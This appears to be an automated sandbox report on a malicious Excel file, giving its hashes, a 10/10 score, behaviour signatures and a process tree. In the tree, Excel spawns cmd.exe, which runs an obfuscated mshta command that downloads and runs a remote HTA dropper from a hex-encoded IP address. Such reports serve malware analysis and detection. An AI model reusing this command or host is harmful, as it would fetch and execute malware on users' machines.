Analysis

  • max time kernel
    133s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18-01-2022 12:04

General

  • Target

    9529b48a5f5fd2aff17d966d10c20e9ab8912e234506de6de41b2758ed0f3f2f.xls

  • Size

    128KB

  • MD5

    d53904bac924c9d2dd304ca3fe736d74

  • SHA1

    ec526f926bd2b3a51062139bc9730f80729d09f1

  • SHA256

    9529b48a5f5fd2aff17d966d10c20e9ab8912e234506de6de41b2758ed0f3f2f

  • SHA512

    80c737de3f932e64221067a49f2f1c2907fdcb1566304f68b1d2cf29abdd5b19ee87dca13d6832d7e00683126f147e457af974d815d9c3131112d5c363d4c988

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9529b48a5f5fd2aff17d966d10c20e9ab8912e234506de6de41b2758ed0f3f2f.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3348
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3548
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        PID:1520

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3348-115-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-116-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-117-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-118-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-121-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-128-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

    Filesize

    64KB

  • memory/3348-129-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

    Filesize

    64KB

  • memory/3348-283-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-284-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-285-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB

  • memory/3348-286-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

    Filesize

    64KB